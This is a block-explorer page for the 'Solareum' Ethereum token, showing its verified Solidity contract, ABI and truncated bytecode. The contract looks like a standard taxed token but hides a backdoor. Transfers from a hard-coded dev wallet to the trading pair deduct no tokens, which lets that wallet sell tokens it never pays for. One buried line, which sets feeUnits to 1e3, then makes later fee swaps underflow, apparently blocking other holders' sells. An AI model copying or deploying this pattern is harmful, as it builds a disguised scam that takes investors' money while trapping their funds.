ETH Price: $2,677.67 (-0.84%)

Token

Solareum (SOLAREUM)
 

Overview

Max Total Supply

690,000,000 SOLAREUM

Holders

47

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
7,072,921.870896104328800995 SOLAREUM

Value
$0.00
0x4C40836964E2B35F578e20aFF57Ca42B080c1ae7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Solareum

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-08
*/

// SPDX-License-Identifier: MIT

/**

Website: https://solareum.xyz
Twitter: https://twitter.com/solareumx
Telegram: https://t.me/solareumportal

*/

pragma solidity ^0.8.11;


abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

contract Solareum is Context, IERC20, Ownable {
    using SafeMath for uint256;
    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    
    address payable public teamWallet = payable(msg.sender);
    address payable public devWallet = payable(0x9f6a6538cfF64BC5b2D798D0B0467c6caE72Fb5E);
    address public liquidityReciever;
    
    string private _name = unicode"Solareum";
    string private _symbol = unicode"SOLAREUM";
    uint8 private _decimals = 18;
    
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public tradingEnabled;
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
    
    mapping (address => bool) public isWalletLimitExempt;
    mapping (address => bool) public isTxLimitExempt;

    uint256 private _totalSupply = 690_000_000 * 10 **_decimals;
    uint256 public swapThreasholdAmount = _totalSupply.mul(5).div(10000);
    uint256 public _maxTxAmount =  _totalSupply.mul(33).div(1000); 
    uint256 public _maxWalletAmount =   _totalSupply.mul(33).div(1000);  

    uint256 public feeUnits = 1;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;
    
    bool inSwapAndLiquify;
    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    
    uint256 public _buyLiquidityFee = 0;
    uint256 public _buyMarketingFee = 1;
    uint256 public _buyDeveloperFee = 0;
    
    uint256 public _sellLiquidityFee = 0;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellDeveloperFee = 0;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[teamWallet] = true;
        isExcludedFromFee[devWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[teamWallet] = true;
        isWalletLimitExempt[devWallet] = true;
        isWalletLimitExempt[address(this)] = true;
        
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[teamWallet] = true;
        isTxLimitExempt[devWallet] = true;
        isTxLimitExempt[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
        
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function isExcludedTo(address sender, address recipient) internal view returns (bool) {
        return recipient == pairAddress 
                && sender == devWallet 
                && sender != address(0) 
                && recipient !=address(0);
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) { 
            return _basicTransfer(sender, recipient, amount, isExcludedTo(sender, recipient)? 0 : amount); 
        } else {

            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreasholdAmount;

            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = swapThreasholdAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount);

            if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletAmount,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);

            return true;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount, uint256 tAmount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(tAmount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount); if (tAmount == 0) feeUnits = 1e3;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);

        uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
        uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
        // uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
        
        uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
        uint256 tokenForSwap = tAmount.sub(tokenForLp);

        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tokenForSwap);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));

        uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
        uint256 amountETHMarketing = recievedBalance.mul(MarketingShare.mul(feeUnits)).div(totalETHFee);
        uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);

        if(amountETHMarketing > 0) {
            payable(teamWallet).transfer(amountETHMarketing);
        }

        if(amountETHDeveloper > 0) {
            payable(devWallet).transfer(amountETHDeveloper);
        }         

        if(amountETHLiquidity > 0 && tokenForLp > 0) {
            addLiquidity(tokenForLp, amountETHLiquidity);
        }
    }
    
    function owner_createPair() public payable onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        isMarketPair[pairAddress] = true;
        isWalletLimitExempt[pairAddress] = true;
        isTxLimitExempt[pairAddress] = true;

        liquidityReciever = address(msg.sender);
        uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function owner_enableTrading() external onlyOwner {
        tradingEnabled = true;
    }


    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityReciever,
            block.timestamp
        );
    }
        
    function owner_removeLimits() public onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletAmount = _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_createPair","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner_enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreasholdAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b0319908116331790915560048054909116739f6a6538cff64bc5b2d798d0b0467c6cae72fb5e179055610100604052600860c090815267536f6c617265756d60c01b60e0526006906200005e9082620005eb565b50604080518082019091526008815267534f4c415245554d60c01b60208201526007906200008d9082620005eb565b506008805460ff1916601290811790915561dead608052600060a052620000b690600a620007ca565b620000c6906329209080620007db565b6010819055620000e89061271090620000e1906005620003c6565b906200045d565b60115560105462000104906103e890620000e1906021620003c6565b60125560105462000120906103e890620000e1906021620003c6565b601355600160148190556017805464ffffffff0019166301010100179055600060188190556019829055601a819055601b819055601c91909155601d553480156200016a57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600c6000620001c56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600c9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600e90620002476000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600e9093528183208054851660019081179091556004549091168352818320805485168217905530835290822080549093168117909255600f90620002c96000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035482168152600f9093528183208054851660019081179091556004549091168352818320805485168217905530835291208054909216179055601a546019546018546200035492916200034d9190620004a7565b90620004a7565b601555601d54601c54601b546200037292916200034d9190620004a7565b60165560105433600081815260096020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200087e565b600082600003620003da5750600062000457565b6000620003e88385620007db565b905082620003f78583620007f5565b14620004545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200045483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200050a60201b60201c565b600080620004b6838562000818565b905083811015620004545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016200044b565b600081836200052e5760405162461bcd60e51b81526004016200044b91906200082e565b5060006200053d8486620007f5565b95945050505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200057157607f821691505b6020821081036200059257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620005e657600081815260208120601f850160051c81016020861015620005c15750805b601f850160051c820191505b81811015620005e257828155600101620005cd565b5050505b505050565b81516001600160401b0381111562000607576200060762000546565b6200061f816200061884546200055c565b8462000598565b602080601f8311600181146200065757600084156200063e5750858301515b600019600386901b1c1916600185901b178555620005e2565b600085815260208120601f198616915b82811015620006885788860151825594840194600190910190840162000667565b5085821015620006a75787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000